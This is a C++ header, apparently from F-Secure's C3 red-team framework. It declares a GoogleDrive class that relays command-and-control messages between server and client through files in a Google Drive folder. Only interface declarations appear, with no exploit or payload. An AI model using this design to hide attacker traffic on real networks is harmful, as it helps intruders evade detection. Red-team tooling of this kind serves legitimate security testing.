/// Constructor for the GoogleDrive Api class. See quickstart.py for retrieving these values
|
||||||
|
/// @param client_id - App url
|
||||||
|
/// @param client_secret - Client secret
|
||||||
|
/// @param refresh_token - the Outh refresh token for producing new access tokens
|
||||||
|
/// @param proxyString - the proxy to use
|
||||||
|
GoogleDrive(std::string const& userAgent, std::string const& client_id, std::string const& client_secret, std::string const& refresh_token, std::string const& channelName);
|
||||||
|
|
||||||
|
/// Default constructor.
|
||||||
|
GoogleDrive() = default;
|
||||||
|
|
||||||
|
/// Write a message as the contents of a file and upload to Google Drive.
|
||||||
|
/// @param direction - the name of the file to upload
|
||||||
|
/// @param data - the text of the message
|
||||||
|
/// @param filename - optional custom filename for uploaded file
|
||||||
|
void WriteMessageToFile(std::string const& direction = "", ByteView data = {}, std::string const& providedFilename = "");
|
||||||
|
|
||||||
|
/// Upload a file in its entirety to Google Drive.
|
||||||
|
/// @param path - path to file for upload
|
||||||
|
void UploadFile(std::string const& path);
|
||||||
|
|
||||||
|
/// Delete channel folder and all files within
|
||||||
|
void DeleteAllFiles();
|
||||||
|
|
||||||
|
/// Set the channel (i.e. Google Drive folder) that this object uses for communications
|
||||||
|
/// @param channelId - the channel Id (not name).
|
||||||
|
void SetChannel(std::string const& channelId);
|
||||||
|
|
||||||
|
/// Refresh the access token for this object.
|
||||||
|
void RefreshAccessToken();
|
||||||
|
|
||||||
|
/// set the access token for this object.
|
||||||
|
/// @param token - the textual api token.
|
||||||
|
void SetToken(std::string const& token);
|
||||||
|
|
||||||
|
/// Will list the created folders in Google Drive and if already preset return the channel name. If not already created,
|
||||||
|
/// creates a new folder on Google Drive.
|
||||||
|
/// @param channelName - the actual name of the folder to create, such as "files".
|
||||||
|
/// @return - the channel name of the new or already existing channel.
|
||||||
|
std::string CreateChannel(std::string const& channelName);
|
||||||
|
|
||||||
|
/// List all the folders in the workspace the object's token is tied to.
|
||||||
|
/// @return - a map of {channelName -> channelId}
|
||||||
|
std::map<std::string, std::string> ListChannels();
|
||||||
|
|
||||||
|
/// Get all of the files representing messages by a direction. This is a C3 specific method, used by a server relay to get client messages and vice versa.
|
||||||
|
/// @param direction - the direction to search for (eg. "S2C").
|
||||||
|
/// @return - a map of timestamp and file id, where id allows replies to be read later
|
||||||
|
std::map<std::string, std::string> GetMessagesByDirection(std::string const& direction);
|
||||||
|
|
||||||
|
/// Download file by its Google Drive resource id.
|
||||||
|
/// @param id - id of file.
|
||||||
|
/// @return - string of file content
|
||||||
|
FSecure::ByteVector ReadFile(std::string const& id);
|
||||||
|
|
||||||
|
/// Delete a file
|
||||||
|
/// @param id - the id of the file on Google Drive.
|
||||||
|
void DeleteFile(std::string const& id);
|
||||||
|
|
||||||
|
private:
|
||||||
|
|
||||||
|
/// The channel (i.e. folder) through which messages are sent and received, will be sent when the object is created.
|
||||||
|
std::string m_Channel;
|
||||||
|
|
||||||
|
/// The necessary parameters to retrieve access tokens for continued use. Needs to be manually created as described in documentation.
|
||||||
|
std::string m_clientId;
|
||||||
|
std::string m_clientSecret;
|
||||||
|
std::string m_accessToken;
|
||||||
|
std::string m_refreshToken;
|
||||||
|
|
||||||
|
/// Hold proxy settings
|
||||||
|
WinHttp::WebProxy m_ProxyConfig;
|
||||||
|
|
||||||
|
/// Create and send http request, uses preset token for authentication
|
||||||
|
FSecure::ByteVector SendHttpRequest(FSecure::WinHttp::Method method, std::string const& host, std::wstring const& contentType = {}, std::vector<uint8_t> data = {}, bool setAuthorizationHeader = true);
|
||||||
|
|
||||||
|
/// Create initial request
|
||||||
|
FSecure::WinHttp::HttpRequest CreateHttpRequest(FSecure::WinHttp::Method method, std::string const& host, std::wstring const& contentType = {}, std::vector<uint8_t> data = {}, bool setAuthorizationHeader = true);
|
||||||
|
|
||||||
|
/// Send http request with json data, uses preset token for authentication
|
||||||
|
json SendJsonRequest(FSecure::WinHttp::Method method, std::string const& url, json const& data);
|
||||||
|
|
||||||
|
/// The user agent header value.
|
||||||
|
std::string m_UserAgent;
|
||||||
|
|
||||||
|
};
|
||||||
|
|
||||||
|
}
|
||||||
|
|
Loading…
Reference in New Issue